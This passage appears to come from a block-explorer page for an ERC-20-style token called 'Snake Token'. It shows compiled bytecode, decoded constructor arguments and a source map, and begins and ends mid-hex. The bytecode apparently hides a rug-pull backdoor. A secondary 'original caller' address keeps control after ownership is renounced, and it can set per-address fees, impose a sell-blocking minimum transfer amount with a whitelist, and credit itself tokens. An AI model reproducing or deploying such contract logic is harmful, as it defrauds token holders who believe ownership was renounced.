1906116fb565b6114d1565b6040516102f19190611b20565b60405180910390f35b60606007805461030990611d72565b80601f016020809104026020016040519081016040528092919081815260200182805461033590611d72565b80156103825780601f1061035757610100808354040283529160200191610382565b820191906000526020600020905b81548152906001019060200180831161036557829003601f168201915b5050505050905090565b6000816002600061039b611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610435611558565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161047a9190611b20565b60405180910390a36001905092915050565b6000600a54905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104e2611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561055e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055590611ac0565b60405180910390fd5b600554821015806105b85750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6105f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ee90611ae0565b60405180910390fd5b60006106038584611560565b9050600081846106139190611ca4565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106649190611ca4565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106ba9190611bc3565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061070b611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107549190611ca4565b92505081905550610763610d70565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156107f45781600160006107a3610d70565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107ec9190611bc3565b925050819055505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516108519190611b20565b60405180910390a36001925050509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405160200161089991906119f2565b604051602081830303815290604052805190602001206108b7611558565b6040516020016108c79190611a0d565b6040516020818303038152906040528051906020012014156109665760005b825181101561096057816003600085848151811061090757610906611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061095890611dd5565b9150506108e6565b506109a1565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099890611b00565b60405180910390fd5b5050565b6000600960009054906101000a900460ff16905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516020016109ef91906119f2565b60405160208183030381529060405280519060200120610a0d611558565b604051602001610a1d9190611a0d565b604051602081830303815290604052805190602001201415610a455780600581905550610a80565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7790611b00565b60405180910390fd5b50565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001610ab691906119f2565b60405160208183030381529060405280519060200120610ad4611558565b604051602001610ae49190611a0d565b604051602081830303815290604052805190602001201415610b975760005b8151811015610b9157600060066000848481518110610b2557610b24611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b8990611dd5565b915050610b03565b50610bd2565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc990611b00565b60405180910390fd5b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001610c5191906119f2565b60405160208183030381529060405280519060200120610c6f611558565b604051602001610c7f9190611a0d565b604051602081830303815290604052805190602001201415610d325760005b8151811015610d2c57600160066000848481518110610cc057610cbf611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d2490611dd5565b915050610c9e565b50610d6d565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6490611b00565b60405180910390fd5b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610da890611d72565b80601f0160208091040260200160405190810160405280929190818152602001828054610dd490611d72565b8015610e215780601f10610df657610100808354040283529160200191610e21565b820191906000526020600020905b815481529060010190602001808311610e0457829003601f168201915b5050505050905090565b60008160016000610e3a611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610eb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ead90611a80565b60405180910390fd5b60055482101580610f17575060066000610ece611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4d90611ae0565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f97611558565b73ffffffffffffffffffffffffffffffffffffffff161480156110075750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156111755760036000611018611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546001600061105f611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110a89190611bc3565b925050819055508273ffffffffffffffffffffffffffffffffffffffff166110ce611558565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60036000611111611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856111579190611bc3565b6040516111649190611b20565b60405180910390a36001905061138f565b6000611188611182611558565b84611560565b9050600081846111989190611ca4565b905083600160006111a7611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111f09190611ca4565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112469190611bc3565b92505081905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561131c578160016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113149190611bc3565b925050819055505b8473ffffffffffffffffffffffffffffffffffffffff1661133b611558565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113809190611b20565b60405180910390a36001925050505b92915050565b61139d611558565b73ffffffffffffffffffffffffffffffffffffffff166113bb610d70565b73ffffffffffffffffffffffffffffffffffffffff1614611411576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140890611aa0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600061156a610d70565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a65760009050611600565b6064600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115f39190611c4a565b6115fd9190611c19565b90505b92915050565b600061161961161484611b7b565b611b56565b9050808382526020820190508285602086028201111561163c5761163b611f44565b5b60005b8581101561166c57816116528882611676565b84526020840193506020830192505060018101905061163f565b5050509392505050565b600081359050611685816120fc565b92915050565b600082601f8301126116a05761169f611f3f565b5b81356116b0848260208601611606565b91505092915050565b6000813590506116c881612113565b92915050565b6000602082840312156116e4576116e3611f4e565b5b60006116f284828501611676565b91505092915050565b6000806040838503121561171257611711611f4e565b5b600061172085828601611676565b925050602061173185828601611676565b9150509250929050565b60008060006060848603121561175457611753611f4e565b5b600061176286828701611676565b935050602061177386828701611676565b9250506040611784868287016116b9565b9150509250925092565b600080604083850312156117a5576117a4611f4e565b5b60006117b385828601611676565b92505060206117c4858286016116b9565b9150509250929050565b6000602082840312156117e4576117e3611f4e565b5b600082013567ffffffffffffffff81111561180257611801611f49565b5b61180e8482850161168b565b91505092915050565b6000806040838503121561182e5761182d611f4e565b5b600083013567ffffffffffffffff81111561184c5761184b611f49565b5b6118588582860161168b565b9250506020611869858286016116b9565b9150509250929050565b60006020828403121561188957611888611f4e565b5b6000611897848285016116b9565b91505092915050565b6118b16118ac82611cea565b611e30565b82525050565b6118c081611cd8565b82525050565b6118d76118d282611cd8565b611e1e565b82525050565b6118e681611cfc565b82525050565b60006118f782611ba7565b6119018185611bb2565b9350611911818560208601611d3f565b61191a81611f53565b840191505092915050565b6000611932602383611bb2565b915061193d82611f71565b604082019050919050565b6000611955602083611bb2565b915061196082611fc0565b602082019050919050565b6000611978602583611bb2565b915061198382611fe9565b604082019050919050565b600061199b604683611bb2565b91506119a682612038565b606082019050919050565b60006119be602183611bb2565b91506119c9826120ad565b604082019050919050565b6119dd81611d28565b82525050565b6119ec81611d32565b82525050565b60006119fe82846118c6565b60148201915081905092915050565b6000611a1982846118a0565b60148201915081905092915050565b6000602082019050611a3d60008301846118b7565b92915050565b6000602082019050611a5860008301846118dd565b92915050565b60006020820190508181036000830152611a7881846118ec565b905092915050565b60006020820190508181036000830152611a9981611925565b9050919050565b60006020820190508181036000830152611ab981611948565b9050919050565b60006020820190508181036000830152611ad98161196b565b9050919050565b60006020820190508181036000830152611af98161198e565b9050919050565b60006020820190508181036000830152611b19816119b1565b9050919050565b6000602082019050611b3560008301846119d4565b92915050565b6000602082019050611b5060008301846119e3565b92915050565b6000611b60611b71565b9050611b6c8282611da4565b919050565b6000604051905090565b600067ffffffffffffffff821115611b9657611b95611f10565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611bce82611d28565b9150611bd983611d28565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c0e57611c0d611e54565b5b828201905092915050565b6000611c2482611d28565b9150611c2f83611d28565b925082611c3f57611c3e611e83565b5b828204905092915050565b6000611c5582611d28565b9150611c6083611d28565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c9957611c98611e54565b5b828202905092915050565b6000611caf82611d28565b9150611cba83611d28565b925082821015611ccd57611ccc611e54565b5b828203905092915050565b6000611ce382611d08565b9050919050565b6000611cf582611d08565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611d5d578082015181840152602081019050611d42565b83811115611d6c576000848401525b50505050565b60006002820490506001821680611d8a57607f821691505b60208210811415611d9e57611d9d611eb2565b5b50919050565b611dad82611f53565b810181811067ffffffffffffffff82111715611dcc57611dcb611f10565b5b80604052505050565b6000611de082611d28565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611e1357611e12611e54565b5b600182019050919050565b6000611e2982611e42565b9050919050565b6000611e3b82611e42565b9050919050565b6000611e4d82611f64565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b7f54543a207472616e7366657220616d6f756e742069732062656c6f772074686560008201527f206d696e696d756d20616e642073656e646572206973206e6f7420776869746560208201527f6c69737465640000000000000000000000000000000000000000000000000000604082015250565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b61210581611cd8565b811461211057600080fd5b50565b61211c81611d28565b811461212757600080fd5b5056fea26469706673582212205e4a6c45ef1bb0748beafe3cf2f2692f19cc834c100d89228d919d6ff7bd67a364736f6c63430008050033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000002540be400000000000000000000000000000000000000000000000000000000000000000b536e616b6520546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005536e616b65000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Snake Token
Arg [1] : symbol_ (string): Snake
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 10000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 00000000000000000000000000000000000000000000000000000002540be400
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [5] : 536e616b6520546f6b656e000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 536e616b65000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

1705:5238:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2606:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5565:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6838:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5801:789;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3008:347;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2792:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3365:283;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4015:361;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2883:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3656:351;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1249:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2697;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4384:1014;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1468:230;;;:::i;:::-;;5406:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2606:83;2643:13;2676:5;2669:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2606:83;:::o;5565:228::-;5648:4;5702:6;5665:11;:25;5677:12;:10;:12::i;:::-;5665:25;;;;;;;;;;;;;;;:34;5691:7;5665:34;;;;;;;;;;;;;;;:43;;;;5747:7;5724:39;;5733:12;:10;:12::i;:::-;5724:39;;;5756:6;5724:39;;;;;;:::i;:::-;;;;;;;;5781:4;5774:11;;5565:228;;;;:::o;6838:102::-;6893:7;6920:12;;6913:19;;6838:102;:::o;5801:789::-;5907:4;5969:6;5932:11;:19;5944:6;5932:19;;;;;;;;;;;;;;;:33;5952:12;:10;:12::i;:::-;5932:33;;;;;;;;;;;;;;;;:43;;5924:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;6046:22;;6036:6;:32;;:54;;;;6072:10;:18;6083:6;6072:18;;;;;;;;;;;;;;;;;;;;;;;;;6036:54;6028:137;;;;;;;;;;;;:::i;:::-;;;;;;;;;6176:11;6190:28;6203:6;6211;6190:12;:28::i;:::-;6176:42;;6229:22;6263:3;6254:6;:12;;;;:::i;:::-;6229:37;;6300:6;6279:9;:17;6289:6;6279:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;6341:14;6317:9;:20;6327:9;6317:20;;;;;;;;;;;;;;;;:38;;;;;;;:::i;:::-;;;;;;;;6403:6;6366:11;:19;6378:6;6366:19;;;;;;;;;;;;;;;:33;6386:12;:10;:12::i;:::-;6366:33;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;6439:7;:5;:7::i;:::-;6426:20;;:9;:20;;;6422:78;;;6485:3;6463:9;:18;6473:7;:5;:7::i;:::-;6463:18;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;6422:78;6534:9;6517:43;;6526:6;6517:43;;;6545:14;6517:43;;;;;;:::i;:::-;;;;;;;;6578:4;6571:11;;;;5801:789;;;;;:::o;3008:347::-;3157:4;;;;;;;;;;;3140:22;;;;;;;;:::i;:::-;;;;;;;;;;;;;3130:33;;;;;;3112:12;:10;:12::i;:::-;3095:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;3085:41;;;;;;:78;3081:267;;;3181:9;3176:97;3200:8;:15;3196:1;:19;3176:97;;;3258:3;3237:5;:18;3243:8;3252:1;3243:11;;;;;;;;:::i;:::-;;;;;;;;3237:18;;;;;;;;;;;;;;;:24;;;;3217:3;;;;;:::i;:::-;;;;3176:97;;;;3081:267;;;3297:43;;;;;;;;;;:::i;:::-;;;;;;;;3081:267;3008:347;;:::o;2792:83::-;2833:5;2858:9;;;;;;;;;;;2851:16;;2792:83;:::o;3365:283::-;3507:4;;;;;;;;;;;3490:22;;;;;;;;:::i;:::-;;;;;;;;;;;;;3480:33;;;;;;3462:12;:10;:12::i;:::-;3445:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;3435:41;;;;;;:78;3431:202;;;3551:6;3526:22;:31;;;;3431:202;;;3582:43;;;;;;;;;;:::i;:::-;;;;;;;;3431:202;3365:283;:::o;4015:361::-;4163:4;;;;;;;;;;;4146:22;;;;;;;;:::i;:::-;;;;;;;;;;;;;4136:33;;;;;;4118:12;:10;:12::i;:::-;4101:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;4091:41;;;;;;:78;4087:274;;;4187:9;4182:104;4206:8;:15;4202:1;:19;4182:104;;;4269:5;4243:10;:23;4254:8;4263:1;4254:11;;;;;;;;:::i;:::-;;;;;;;;4243:23;;;;;;;;;;;;;;;;:31;;;;;;;;;;;;;;;;;;4223:3;;;;;:::i;:::-;;;;4182:104;;;;4087:274;;;4310:43;;;;;;;;;;:::i;:::-;;;;;;;;4087:274;4015:361;:::o;2883:119::-;2949:7;2976:9;:18;2986:7;2976:18;;;;;;;;;;;;;;;;2969:25;;2883:119;;;:::o;3656:351::-;3799:4;;;;;;;;;;;3782:22;;;;;;;;:::i;:::-;;;;;;;;;;;;;3772:33;;;;;;3754:12;:10;:12::i;:::-;3737:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;3727:41;;;;;;:78;3723:273;;;3823:9;3818:103;3842:8;:15;3838:1;:19;3818:103;;;3905:4;3879:10;:23;3890:8;3899:1;3890:11;;;;;;;;:::i;:::-;;;;;;;;3879:23;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;3859:3;;;;;:::i;:::-;;;;3818:103;;;;3723:273;;;3945:43;;;;;;;;;;:::i;:::-;;;;;;;;3723:273;3656:351;:::o;1249:87::-;1295:7;1322:6;;;;;;;;;;;1315:13;;1249:87;:::o;2697:::-;2736:13;2769:7;2762:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2697:87;:::o;4384:1014::-;4470:4;4522:6;4495:9;:23;4505:12;:10;:12::i;:::-;4495:23;;;;;;;;;;;;;;;;:33;;4487:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;4597:22;;4587:6;:32;;:60;;;;4623:10;:24;4634:12;:10;:12::i;:::-;4623:24;;;;;;;;;;;;;;;;;;;;;;;;;4587:60;4579:143;;;;;;;;;;;;:::i;:::-;;;;;;;;;4753:4;;;;;;;;;;;4737:20;;:12;:10;:12::i;:::-;:20;;;:41;;;;;4774:4;;;;;;;;;;;4761:17;;:9;:17;;;4737:41;4733:658;;;4822:5;:19;4828:12;:10;:12::i;:::-;4822:19;;;;;;;;;;;;;;;;4795:9;:23;4805:12;:10;:12::i;:::-;4795:23;;;;;;;;;;;;;;;;:46;;;;;;;:::i;:::-;;;;;;;;4884:9;4861:63;;4870:12;:10;:12::i;:::-;4861:63;;;4904:5;:19;4910:12;:10;:12::i;:::-;4904:19;;;;;;;;;;;;;;;;4895:6;:28;;;;:::i;:::-;4861:63;;;;;;:::i;:::-;;;;;;;;4946:4;4939:11;;;;4733:658;4983:11;4997:34;5010:12;:10;:12::i;:::-;5024:6;4997:12;:34::i;:::-;4983:48;;5046:22;5080:3;5071:6;:12;;;;:::i;:::-;5046:37;;5127:6;5100:9;:23;5110:12;:10;:12::i;:::-;5100:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;5172:14;5148:9;:20;5158:9;5148:20;;;;;;;;;;;;;;;;:38;;;;;;;:::i;:::-;;;;;;;;5220:4;;;;;;;;;;;5207:17;;:9;:17;;;5203:80;;;5264:3;5245:9;:15;5255:4;;;;;;;;;;;5245:15;;;;;;;;;;;;;;;;:22;;;;;;;:::i;:::-;;;;;;;;5203:80;5327:9;5304:49;;5313:12;:10;:12::i;:::-;5304:49;;;5338:14;5304:49;;;;;;:::i;:::-;;;;;;;;5375:4;5368:11;;;;4384:1014;;;;;:::o;1468:230::-;1393:12;:10;:12::i;:::-;1382:23;;:7;:5;:7::i;:::-;:23;;;1374:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1575:42:::1;1538:81;;1559:6;::::0;::::1;;;;;;;;1538:81;;;;;;;;;;;;1647:42;1630:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;1468:230::o:0;5406:151::-;5495:7;5522:11;:18;5534:5;5522:18;;;;;;;;;;;;;;;:27;5541:7;5522:27;;;;;;;;;;;;;;;;5515:34;;5406:151;;;;:::o;811:115::-;864:15;907:10;892:26;;811:115;:::o;6598:232::-;6675:7;6710;:5;:7::i;:::-;6699:18;;:7;:18;;;6695:128;;;6741:1;6734:8;;;;6695:128;6808:3;6791:5;:14;6797:7;6791:14;;;;;;;;;;;;;;;;6782:6;:23;;;;:::i;:::-;:29;;;;:::i;:::-;6775:36;;6598:232;;;;;:::o;24:722:1:-;120:5;145:81;161:64;218:6;161:64;:::i;:::-;145:81;:::i;:::-;136:90;;246:5;275:6;268:5;261:21;309:4;302:5;298:16;291:23;;335:6;385:3;377:4;369:6;365:17;360:3;356:27;353:36;350:2;;;404:79;;:::i;:::-;350:2;517:1;502:238;527:6;524:1;521:13;502:238;;;595:3;624:37;657:3;645:10;624:37;:::i;:::-;619:3;612:50;691:4;686:3;682:14;675:21;;725:4;720:3;716:14;709:21;;562:178;549:1;546;542:9;537:14;;502:238;;;506:14;126:620;;;;;;;:::o;752:139::-;798:5;836:6;823:20;814:29;;852:33;879:5;852:33;:::i;:::-;804:87;;;;:::o;914:370::-;985:5;1034:3;1027:4;1019:6;1015:17;1011:27;1001:2;;1042:79;;:::i;:::-;1001:2;1159:6;1146:20;1184:94;1274:3;1266:6;1259:4;1251:6;1247:17;1184:94;:::i;:::-;1175:103;;991:293;;;;;:::o;1290:139::-;1336:5;1374:6;1361:20;1352:29;;1390:33;1417:5;1390:33;:::i;:::-;1342:87;;;;:::o;1435:329::-;1494:6;1543:2;1531:9;1522:7;1518:23;1514:32;1511:2;;;1549:79;;:::i;:::-;1511:2;1669:1;1694:53;1739:7;1730:6;1719:9;1715:22;1694:53;:::i;:::-;1684:63;;1640:117;1501:263;;;;:::o;1770:474::-;1838:6;1846;1895:2;1883:9;1874:7;1870:23;1866:32;1863:2;;;1901:79;;:::i;:::-;1863:2;2021:1;2046:53;2091:7;2082:6;2071:9;2067:22;2046:53;:::i;:::-;2036:63;;1992:117;2148:2;2174:53;2219:7;2210:6;2199:9;2195:22;2174:53;:::i;:::-;2164:63;;2119:118;1853:391;;;;;:::o;2250:619::-;2327:6;2335;2343;2392:2;2380:9;2371:7;2367:23;2363:32;2360:2;;;2398:79;;:::i;:::-;2360:2;2518:1;2543:53;2588:7;2579:6;2568:9;2564:22;2543:53;:::i;:::-;2533:63;;2489:117;2645:2;2671:53;2716:7;2707:6;2696:9;2692:22;2671:53;:::i;:::-;2661:63;;2616:118;2773:2;2799:53;2844:7;2835:6;2824:9;2820:22;2799:53;:::i;:::-;2789:63;;2744:118;2350:519;;;;;:::o;2875:474::-;2943:6;2951;3000:2;2988:9;2979:7;2975:23;2971:32;2968:2;;;3006:79;;:::i;:::-;2968:2;3126:1;3151:53;3196:7;3187:6;3176:9;3172:22;3151:53;:::i;:::-;3141:63;;3097:117;3253:2;3279:53;3324:7;3315:6;3304:9;3300:22;3279:53;:::i;:::-;3269:63;;3224:118;2958:391;;;;;:::o;3355:539::-;3439:6;3488:2;3476:9;3467:7;3463:23;3459:32;3456:2;;;3494:79;;:::i;:::-;3456:2;3642:1;3631:9;3627:17;3614:31;3672:18;3664:6;3661:30;3658:2;;;3694:79;;:::i;:::-;3658:2;3799:78;3869:7;3860:6;3849:9;3845:22;3799:78;:::i;:::-;3789:88;;3585:302;3446:448;;;;:::o;3900:684::-;3993:6;4001;4050:2;4038:9;4029:7;4025:23;4021:32;4018:2;;;4056:79;;:::i;:::-;4018:2;4204:1;4193:9;4189:17;4176:31;4234:18;4226:6;4223:30;4220:2;;;4256:79;;:::i;:::-;4220:2;4361:78;4431:7;4422:6;4411:9;4407:22;4361:78;:::i;:::-;4351:88;;4147:302;4488:2;4514:53;4559:7;4550:6;4539:9;4535:22;4514:53;:::i;:::-;4504:63;;4459:118;4008:576;;;;;:::o;4590:329::-;4649:6;4698:2;4686:9;4677:7;4673:23;4669:32;4666:2;;;4704:79;;:::i;:::-;4666:2;4824:1;4849:53;4894:7;4885:6;4874:9;4870:22;4849:53;:::i;:::-;4839:63;;4795:117;4656:263;;;;:::o;4925:189::-;5046:61;5074:32;5100:5;5074:32;:::i;:::-;5046:61;:::i;:::-;5041:3;5034:74;5024:90;;:::o;5120:118::-;5207:24;5225:5;5207:24;:::i;:::-;5202:3;5195:37;5185:53;;:::o;5244:157::-;5349:45;5369:24;5387:5;5369:24;:::i;:::-;5349:45;:::i;:::-;5344:3;5337:58;5327:74;;:::o;5407:109::-;5488:21;5503:5;5488:21;:::i;:::-;5483:3;5476:34;5466:50;;:::o;5522:364::-;5610:3;5638:39;5671:5;5638:39;:::i;:::-;5693:71;5757:6;5752:3;5693:71;:::i;:::-;5686:78;;5773:52;5818:6;5813:3;5806:4;5799:5;5795:16;5773:52;:::i;:::-;5850:29;5872:6;5850:29;:::i;:::-;5845:3;5841:39;5834:46;;5614:272;;;;;:::o;5892:366::-;6034:3;6055:67;6119:2;6114:3;6055:67;:::i;:::-;6048:74;;6131:93;6220:3;6131:93;:::i;:::-;6249:2;6244:3;6240:12;6233:19;;6038:220;;;:::o;6264:366::-;6406:3;6427:67;6491:2;6486:3;6427:67;:::i;:::-;6420:74;;6503:93;6592:3;6503:93;:::i;:::-;6621:2;6616:3;6612:12;6605:19;;6410:220;;;:::o;6636:366::-;6778:3;6799:67;6863:2;6858:3;6799:67;:::i;:::-;6792:74;;6875:93;6964:3;6875:93;:::i;:::-;6993:2;6988:3;6984:12;6977:19;;6782:220;;;:::o;7008:366::-;7150:3;7171:67;7235:2;7230:3;7171:67;:::i;:::-;7164:74;;7247:93;7336:3;7247:93;:::i;:::-;7365:2;7360:3;7356:12;7349:19;;7154:220;;;:::o;7380:3